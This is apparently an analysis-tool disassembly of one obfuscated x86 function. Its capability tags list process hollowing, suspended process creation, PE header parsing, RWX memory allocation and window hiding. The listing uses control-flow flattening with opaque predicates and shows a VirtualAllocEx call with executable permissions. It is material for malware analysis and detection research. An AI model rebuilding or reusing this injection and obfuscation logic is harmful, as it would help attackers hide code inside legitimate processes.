Function at 0x10008c60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10074e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0x381e7cc3
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x800d6b97
je 0x10012ddf
jmp 0x10008c9c
mov eax, dword [ebp - 0x118]
sub eax, 0x80638d7a
je 0x10013cb4
jmp 0x10008cb2
mov eax, dword [ebp - 0x118]
sub eax, 0x809d65d6
je 0x100109f7
jmp 0x10008cc8
mov eax, dword [ebp - 0x118]
sub eax, 0x80a97c82
je 0x1000ee7d
jmp 0x10008cde
mov eax, dword [ebp - 0x118]
sub eax, 0x8156f55e
je 0x100147a6
jmp 0x10008cf4
mov eax, dword [ebp - 0x118]
sub eax, 0x81712437
je 0x10015df2
jmp 0x10008d0a
mov eax, dword [ebp - 0x118]
sub eax, 0x819c7083
je 0x1000d3e6
jmp 0x10008d20
mov eax, dword [ebp - 0x118]
sub eax, 0x819d27b2
je 0x1000d98b
jmp 0x10008d36
mov eax, dword [ebp - 0x118]
sub eax, 0x826c0068
je 0x10015f29
jmp 0x10008d4c
mov eax, dword [ebp - 0x118]
sub eax, 0x8319370a
je 0x1000eb98
jmp 0x10008d62
mov eax, dword [ebp - 0x118]
sub eax, 0x833cd322
je 0x1001048e
jmp 0x10008d78
mov eax, dword [ebp - 0x118]
sub eax, 0x84099d5f
je 0x100129df
jmp 0x10008d8e
mov eax, dword [ebp - 0x118]
sub eax, 0x85a24659
je 0x100133e5
jmp 0x10008da4
mov eax, dword [ebp - 0x118]
sub eax, 0x860c4776
je 0x10010e91
jmp 0x10008dba
mov eax, dword [ebp - 0x118]
sub eax, 0x86dc8910
je 0x10011312
jmp 0x10008dd0
mov eax, dword [ebp - 0x118]
sub eax, 0x86ffd01b
je 0x1001257d
jmp 0x10008de6
mov eax, dword [ebp - 0x118]
sub eax, 0x87753f2a
je 0x10015bd2
jmp 0x10008dfc
mov eax, dword [ebp - 0x118]
sub eax, 0x88913fc9
je 0x1000dc1e
jmp 0x10008e12
mov eax, dword [ebp - 0x118]
sub eax, 0x8a074081
je 0x10012fc4
jmp 0x10008e28
mov eax, dword [ebp - 0x118]
sub eax, 0x8ab9d1f2
je 0x10012614
jmp 0x10008e3e
mov eax, dword [ebp - 0x118]
sub eax, 0x8adfb163
je 0x1000f02e
jmp 0x10008e54
mov eax, dword [ebp - 0x118]
sub eax, 0x8b05a8b6
je 0x10015fad
jmp 0x10008e6a
mov eax, dword [ebp - 0x118]
sub eax, 0x8b531477
je 0x10015be1
jmp 0x10008e80
mov eax, dword [ebp - 0x118]
sub eax, 0x8b98f986
je 0x1000f743
jmp 0x10008e96
mov eax, dword [ebp - 0x118]
sub eax, 0x8bd9681f
je 0x100146ff
jmp 0x10008eac
mov eax, dword [ebp - 0x118]
sub eax, 0x8c3ffe98
je 0x1000d175
jmp 0x10008ec2
mov eax, dword [ebp - 0x118]
sub eax, 0x8cc26d77
je 0x10010c9b
jmp 0x10008ed8
mov eax, dword [ebp - 0x118]
sub eax, 0x8cf510d0
je 0x10012b37
jmp 0x10008eee
mov eax, dword [ebp - 0x118]
sub eax, 0x8d4c674b
je 0x1000e912
jmp 0x10008f04
mov eax, dword [ebp - 0x118]
sub eax, 0x8d4f6ef5
je 0x1000f364
jmp 0x10008f1a
mov eax, dword [ebp - 0x118]
sub eax, 0x8e1a7ec3
je 0x10015077
jmp 0x10008f30
mov eax, dword [ebp - 0x118]
sub eax, 0x8e2b29c7
je 0x1001222c
jmp 0x10008f46
mov eax, dword [ebp - 0x118]
sub eax, 0x8ec3f8f2
je 0x100108e8
jmp 0x10008f5c
mov eax, dword [ebp - 0x118]
sub eax, 0x8ef3e288
je 0x10016517
jmp 0x10008f72
mov eax, dword [ebp - 0x118]
sub eax, 0x8f225f50
je 0x10012f6c
jmp 0x10008f88
mov eax, dword [ebp - 0x118]
sub eax, 0x8f8bc344
je 0x1000fd23
jmp 0x10008f9e
mov eax, dword [ebp - 0x118]
sub eax, 0x8fdb7005
je 0x1001371e
jmp 0x10008fb4
mov eax, dword [ebp - 0x118]
sub eax, 0x9018236a
je 0x100168b6
jmp 0x10008fca
mov eax, dword [ebp - 0x118]
sub eax, 0x903010e1
je 0x10011af6
jmp 0x10008fe0
mov eax, dword [ebp - 0x118]
sub eax, 0x90a40714
je 0x10012f1b
jmp 0x10008ff6
mov eax, dword [ebp - 0x118]
sub eax, 0x90d587f6
je 0x1000fa9d
jmp 0x1000900c
mov eax, dword [ebp - 0x118]
sub eax, 0x90f891ab
je 0x10016643
jmp 0x10009022
mov eax, dword [ebp - 0x118]
sub eax, 0x91161a6e
je 0x10015415
jmp 0x10009038
mov eax, dword [ebp - 0x118]
sub eax, 0x91964b74
je 0x1000d405
jmp 0x1000904e
mov eax, dword [ebp - 0x118]
sub eax, 0x925aafab
je 0x1000e466
jmp 0x10009064
mov eax, dword [ebp - 0x118]
sub eax, 0x92a725fe
je 0x100161fc
jmp 0x1000907a
mov eax, dword [ebp - 0x118]
sub eax, 0x92cd9c2c
je 0x10012420
jmp 0x10009090
mov eax, dword [ebp - 0x118]
sub eax, 0x92d4585d
je 0x1001074a
jmp 0x100090a6
mov eax, dword [ebp - 0x118]
sub eax, 0x92fb722d
je 0x100100f6
jmp 0x100090bc
mov eax, dword [ebp - 0x118]
sub eax, 0x9379130e
je 0x1000d635
jmp 0x100090d2
mov eax, dword [ebp - 0x118]
sub eax, 0x938be17b
je 0x10015463
jmp 0x100090e8
mov eax, dword [ebp - 0x118]
sub eax, 0x938e8677
je 0x10015edc
jmp 0x100090fe
mov eax, dword [ebp - 0x118]
sub eax, 0x938fb8b1
je 0x100126cb
jmp 0x10009114
mov eax, dword [ebp - 0x118]
sub eax, 0x94522f27
je 0x100168e1
jmp 0x1000912a
mov eax, dword [ebp - 0x118]
sub eax, 0x95042693
je 0x10015230
jmp 0x10009140
mov eax, dword [ebp - 0x118]
sub eax, 0x951c5137
je 0x100104be
jmp 0x10009156
mov eax, dword [ebp - 0x118]
sub eax, 0x957eefe0
je 0x100162f2
jmp 0x1000916c
mov eax, dword [ebp - 0x118]
sub eax, 0x95a2c7e2
je 0x10012ab7
jmp 0x10009182
mov eax, dword [ebp - 0x118]
sub eax, 0x95d009b7
je 0x1001572f
jmp 0x10009198
mov eax, dword [ebp - 0x118]
sub eax, 0x960a9f0f
je 0x10014ab7
jmp 0x100091ae
mov eax, dword [ebp - 0x118]
sub eax, 0x964095f2
je 0x10012035
jmp 0x100091c4
mov eax, dword [ebp - 0x118]
sub eax, 0x968a06e6
je 0x10014755
jmp 0x100091da
mov eax, dword [ebp - 0x118]
sub eax, 0x96d12d17
je 0x100119ac
jmp 0x100091f0
mov eax, dword [ebp - 0x118]
sub eax, 0x976626ad
je 0x100167f9
jmp 0x10009206
mov eax, dword [ebp - 0x118]
sub eax, 0x97d1d030
je 0x100114fd
movss xmm0, dword [0x100237dc]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100237d8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0xdd5c436b
jmp 0x10016bd7
movss xmm0, dword [0x100237d0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x91964b74
jmp 0x10016bd7
movss xmm0, dword [0x100237cc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x1bd69fd4
jmp 0x10016bd7
movss xmm0, dword [0x100237a0]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0xf54340e0
jmp 0x10016bd7
movss xmm0, dword [0x10023790]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0xbdfef115
jmp 0x10016bd7
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100234b0]
movss dword [eax], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
add edx, 0x8c0d9ed5
sub edx, 1
sub edx, 0x8c0d9ed5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee0261cb
mov ecx, 0x552356ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1002376c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x67418ae0
jmp 0x10016bd7
mov dl, 1
mov eax, 0x6affe006
mov ecx, 0x45a999bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xdc9fea8a
sub edx, 1
add edx, 0xdc9fea8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3afa026e
mov ecx, 0x576f1b95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dword [ebp - 0x114], 0xe52ce964
jmp 0x10016bd7
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023718]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xe2bd780c
jmp 0x10016bd7
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
add edx, 0xf7413948
sub edx, 1
sub edx, 0xf7413948
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc6d36fae
mov ecx, 0x47ea5b44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92a725fe
mov ecx, 0x6a6bd850
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100236b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100236b4]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xea213013
jmp 0x10016bd7
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100236a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100236a0]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xd5f17222
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x957eefe0
mov ecx, 0x9c9ef0ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dword [ebp - 0x114], 0xf9e27655
jmp 0x10016bd7
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10023674]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x30a60a9d
jmp 0x10016bd7
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1002364c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x996004cd
jmp 0x10016bd7
mov dl, 1
mov eax, 0x4a4da3a7
mov ecx, 0x4d190ea0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xe0a0e53
sub edx, 1
add edx, 0xe0a0e53
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5c7df827
mov ecx, 0x9a9ed7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10023624]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10023620]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x22ea1c74
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0xe9f41cab
sub edx, 1
add edx, 0xe9f41cab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77741889
mov ecx, 0xcd447da3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1002360c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x73648e99
jmp 0x10016bd7
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1002340c]
movss dword [eax], xmm0
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0x18ebded4
sub edx, 1
add edx, 0x18ebded4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ef3e288
mov ecx, 0xef760e0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0x3ea62150
sub edx, 1
add edx, 0x3ea62150
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x250bf589
mov ecx, 0xdf3eedf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100233ec]
movss dword [eax], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0x7dbc4bd0
sub edx, 1
add edx, 0x7dbc4bd0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcefe2b3e
mov ecx, 0x2ffe5526
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dl, 1
mov eax, 0x9dd17afb
mov ecx, 0xbdda1cd3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100233e0]
movss dword [eax], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xee957b0f
sub edx, 1
add edx, 0xee957b0f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd2e0cb00
mov ecx, 0xdced37fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100233dc]
movss dword [eax], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0x8283fc02
sub edx, 1
add edx, 0x8283fc02
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x65a04cce
mov ecx, 0x6f0b925e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50ec954
mov ecx, 0xb2c1e266
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dl, 1
mov eax, 0xe7918bd3
mov ecx, 0x201dd514
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x100233d4]
movss dword [eax], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
add edx, 0xe54da049
sub edx, 1
sub edx, 0xe54da049
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5df6333c
mov ecx, 0x642fb92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1002356c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10023568]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xe0dd341b
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe501aedf
mov ecx, 0x37c59a58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dl, 1
mov eax, 0x8a074081
mov ecx, 0x6969d5f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
add edx, 0x3bd4129e
sub edx, 1
sub edx, 0x3bd4129e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ee5a0a7
mov ecx, 0x8f225f50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ee5a0a7
mov ecx, 0xcc7c08b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1002355c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x2ba9313f
jmp 0x10016bd7
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1002354c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x10023548]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x10023544]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x7184fe0f
jmp 0x10016bd7
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x100233b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x100233b4]
movss dword [eax], xmm0
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0x341e21fa
sub edx, 1
add edx, 0x341e21fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f4e245b
mov ecx, 0x5acec97b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x100234f8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xb52c36e5
jmp 0x10016bd7
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x968a06e6
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
add edx, 0xfdfd2842
sub edx, 1
sub edx, 0xfdfd2842
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4168d34
mov ecx, 0x8156f55e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
add edx, 0x903975fc
sub edx, 1
sub edx, 0x903975fc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4168d34
mov ecx, 0x224692
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dl, byte [ebp - 0x4d]
mov eax, 0x597b2102
mov ecx, 0xcf0f806c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dword [ebp - 0x114], 0x77265e70
jmp 0x10016bd7
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
mov dword [eax], 0
mov dword [ebp - 0x114], 0x6323a57
jmp 0x10016bd7
mov dl, byte [ebp - 0x25]
mov eax, 0x29a626f
mov ecx, 0xc04e06aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0x4fa69467
sub edx, 1
add edx, 0x4fa69467
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1439802f
mov ecx, 0xb4776c1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
add edx, 0x1d59a184
sub edx, 1
sub edx, 0x1d59a184
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x40d4402d
mov ecx, 0x5080f18c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10016bd7
mov dword [ebp - 0x114], 0x8b531477
jmp 0x10016bd7
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x114], 0xfe54e424
jmp 0x10016bd7
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100170a0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x100234b8]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0x85430b
jmp 0x10016bd7
mov dword [ebp - 0x114], 0x276db9a0
jmp 0x10016bd7
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100234a0]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xbc26eb05
jmp 0x10016bd7
mov dword [ebp - 0x114], 0x8b98f986
jmp 0x10016bd7
mov dword [ebp - 0x114], 0x92fb722d
jmp 0x10016bd7
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1002340c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x96d12d17
jmp 0x10016bd7
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100233e4]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x774c8072
jmp 0x10016bd7
mov dword [ebp - 0x114], 0x7bf9d76
jmp 0x10016bd7
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ae00
call section..text
add esp, 8
mov dword [ebp - 0x114], 0x65b17005
jmp 0x10016bd7
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x114], 0x750f4999
jmp 0x10016bd7
jmp 0x10008c80